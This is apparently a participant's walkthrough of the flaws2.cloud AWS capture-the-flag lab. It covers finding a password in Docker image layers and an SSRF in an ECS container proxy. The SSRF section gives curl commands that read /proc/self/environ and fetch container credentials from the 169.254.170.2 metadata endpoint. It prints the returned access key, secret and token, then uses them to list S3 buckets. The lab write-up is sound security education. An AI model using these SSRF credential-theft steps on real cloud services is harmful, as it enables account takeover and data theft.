	116 MB	FROM sha256:41c002c8	-rwxr-xr-x	0:0	1.8 kB	zcmp
	745 B	set -xe & echo '#!/bin/sh' > /usr/sbin/policy-rc.d & echo 'exit 101' >>	-rwxr-xr-x	0:0	5.8 kB	zdiff
	0 B	rm -rf /var/lib/apt/lists/*	-rwxr-xr-x	0:0	140 B	zgrep
	7 B	mkdir -p /run/systemd & echo 'docker' > /run/systemd/container	-rwxr-xr-x	0:0	140 B	zfgrep
	86 MB	apt-get update && apt-get install -y nginx apache2-utils python && apt	-rwxr-xr-x	0:0	2.1 kB	zforce
45 B	htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password		-rwxr-xr-x	0:0	5.9 kB	zgrep
999 B	#(nop) ADD file:b311a5fa51887368e53012f2f31aaafc46e999e44c238c9e2b23f47019f846		-rwxr-xr-x	0:0	2.0 kB	zless
1.9 kB	#(nop) ADD file:fd3724e587d17e4bc8690d9febe596b4141f9e21711be51d530c5b55dfde		-rwxr-xr-x	0:0	1.9 kB	zmore
614 B	#(nop) ADD file:f8fd45be7a30bffa5ade2f6a47934c19f4fe1a1343e7229e7e730029f1730		-rwxr-xr-x	0:0	5.0 kB	znew
49 B	#(nop) ADD file:d29d68489f34ad71849687ac2eb66ceae28315017d779fcfd5858423afee		drwxr-xr-x	0:0	0 B	boot
			drwxr-xr-x	0:0	0 B	dev
			-rw-rw----	0:44	0 B	appgart
			-rw-rw----	0:29	0 B	audio
			-rw-rw----	0:29	0 B	audiol
			-rw-rw----	0:29	0 B	audio2
			-rw-rw----	0:29	0 B	audio3
			-rw-rw----	0:29	0 B	audioctl
			-rw-----	0:5	0 B	console
			-rwxrwxrwx	0:0	0 B	core -> /proc/kcore
			-rw-rw----	0:29	0 B	dsp
			-rw-rw----	0:29	0 B	dsp1
			-rw-rw----	0:29	0 B	dsp2
			-rw-rw----	0:29	0 B	dsp3
			-rwxrwxrwx	0:0	0 B	fd -> /proc/self/fd
			-rw-rw-rw-	0:0	0 B	full
			-rw-r-----	0:15	0 B	kmem
			-rw-rw----	0:6	0 B	loop0
			-rw-rw----	0:6	0 B	loop1
			-rw-rw----	0:6	0 B	loop2
			-rw-rw----	0:6	0 B	loop3
			-rw-rw----	0:6	0 B	loop4
			-rw-rw----	0:6	0 B	loop5
			-rw-rw----	0:6	0 B	loop6
			-rw-rw----	0:6	0 B	loop7
			-rw-r-----	0:15	0 B	mem
			-rw-rw----	0:29	0 B	midi0
			-rW-rW----	0:29	0 B	midi0

[Layer Details] [Image Details]

Digest: sha256:bc16ef0350ee1577dfe09696bff225b40d241b26a359c146ffd5746a8ce18931

Command: htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password

Total Image size: 202 MB
Potential wasted space: 32 MB
Image efficiency score: 84 %

Count Total Space Path

```

2 7.2 MB /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_xenial_main_binary-amd64_Packages
2 5.9 MB /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_xenial-updates_main_binary-amd64_Packages
2 5.0 MB /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_xenial-updates_main_i18n_Translation-en
2 4.0 MB /var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_xenial-security_main_binary-amd64_Packages
2 3.9 MB /var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_xenial-security_main_i18n_Translation-en
2 3.6 MB /var/lib/apt/lists/archive.ubuntu.com_ubuntu_dists_xenial_main_i18n_Translation-en
2 933 kB /var/cache/debconf/templates.dat

```

^C Quit Tab Switch view ^F Filter ^L Show layer changes ^A Show aggregated changes

Use the username flaws2 and password secret_password.

It will give access to next challenge

<http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsrw3s.flaws2.cloud>

I 3. SSRF in ECS

Given a container application with ssrf vulnerability

Container metadata credentials can be found in <http://169.254.170.2/v2/credentials/GUID> where the GUID is found from an environment variable AWSCONTAINERCREDSRELATIVEURI

In linux env variables can be found by looking in /proc/self/environ.

Not Secure | container.target.flaws2.cloud/proxy/file:///proc/self/environ

```

HOSTNAME=ip-172-31-56-11.ec2.internal HOME=/root AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6-f904a24a34e6 AWS_EXECUTION_ENV=AWS_ECS_FARGATE AWS_DEFAULT_REGION=us-east-1 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/c88043c3-94ac-4650-a13f-1c15293a5a31 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin AWS_REGION=us-east-1 PWD=/

```

Use the GUID to find was secret and access key

```
curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6 | jq
```

```

gopikrishna@MacApple-Pro ~ curl http://container.target.flaws2.cloud/proxy/http://169.254.170.2/v2/credentials/9c3439c4-b560-4aac-aa62-f904a24a34e6 | jq
% Total    % Received % Xferd  Average Speed   Time     Time   Current
Dload  Upload Total Spent   Left Speed
100  940    0  940    0      0  1142   0 --:--:-- --:--:-- 1140
{
  "RoleArn": "arn:aws:iam::653711331788:role/level3",
  "AccessKeyId": "ASIAZQNB3KHGJLULGWCR",
  "SecretAccessKey": "RVWX9aeS2XXkH/hTktEvSjEGhrfhcs0HRVzB6VFA",
  "Token": "FwoGXZIxYXdzELT//////////wEaDoieog+qH4R5yIutfSLgAkRnIAdcmil1oeG+ZQz2nEjPlzP9Az8WLVrvzTG7z1DrxGxwpLen/bCUosh0BLoIXDFWfivMi4WLDJBL69d5qiTUQVzsmq8y1hi7syK0t42/9GsnQaxthS+6ZDazXDb5mGHY7NUveETL1zYfkHWEKqcLlcRmejdnyIybNxl/Fu1ELD99DZdWfdmTOC76FJWQXXv3t47hM31wepDwfexRKXto+9u7MVkli0eH1zP0w3kdKFTYZBascwGqbJe3VgnrqFh0kahQuj9WJ02/gVbCnz9u/8x/KJRshxKfJu08He2NMdl8WvCRNckBLmciiyqy4L/2YW6DjZlwnqh9VGmx4r/rVCJ9/RNIY+2I/k0G0cQY8Fgsi1wNYGkWqaBtjLdSje1M2mtI1AzGWMdtiI430LKnTUT4KEw0AF9nra/1Src22NUMRx9KM476NvGtPKUF/4skkk19LTDE34orKoAtgUngEosKWeDtWPn7Q1ig55yVCX4CX4Fv0d29o5WqzKjz0FAWQf643Ht98okfaYeur+psbBwdt114yBYkZikkig6UiKiHRedoeetz9ehR7ByizV1T5Bio+aXW2KhGTwuznnrHszyo9MUxZ9mU6F1xmZ7TDHoAdLVJLEfy9D0sUNXjZDPQrTHflemJBUBKTI+QeNNsJ4CjSrjl0vBing==",
  "Expiration": "2019-11-09T16:15:08Z"
}
gopikrishna@MacApple-Pro ~

```

Configure the AWS access, secret and token in a profile List the S3 buckets in that profile

```
▶ gopikrishna@MacApple-Pro ~/.aws ➤ aws sts get-caller-identity --profile level3.flaws2
{
  "UserId": "AROAJQMBDNUMIKLZKMF64:5782c64d-114b-4c40-8c14-06d59ca07797",
  "Account": "653711331788",
  "Arn": "arn:aws:sts::653711331788:assumed-role/level3/5782c64d-114b-4c40-8c14-06d59ca07797"
}
▶ gopikrishna@MacApple-Pro ~/.aws ➤
▶ gopikrishna@MacApple-Pro ~/.aws ➤
▶ gopikrishna@MacApple-Pro ~/.aws ➤ aws s3 ls --profile level3.flaws2
2018-11-21 01:20:08 flaws2.cloud
2018-11-21 00:15:26 level1.flaws2.cloud
2018-11-21 07:11:16 level2-g9785tw8478k4awxtbox9kk3c5ka8iiz.flaws2.cloud
2018-11-27 01:17:22 level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud
2018-11-28 02:07:27 the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud
▶ gopikrishna@MacApple-Pro ~/.aws ➤
```

It's the END

```
the-end-962b72bjahfm5b4wcktm8t9z4sapemjb.flaws2.cloud
```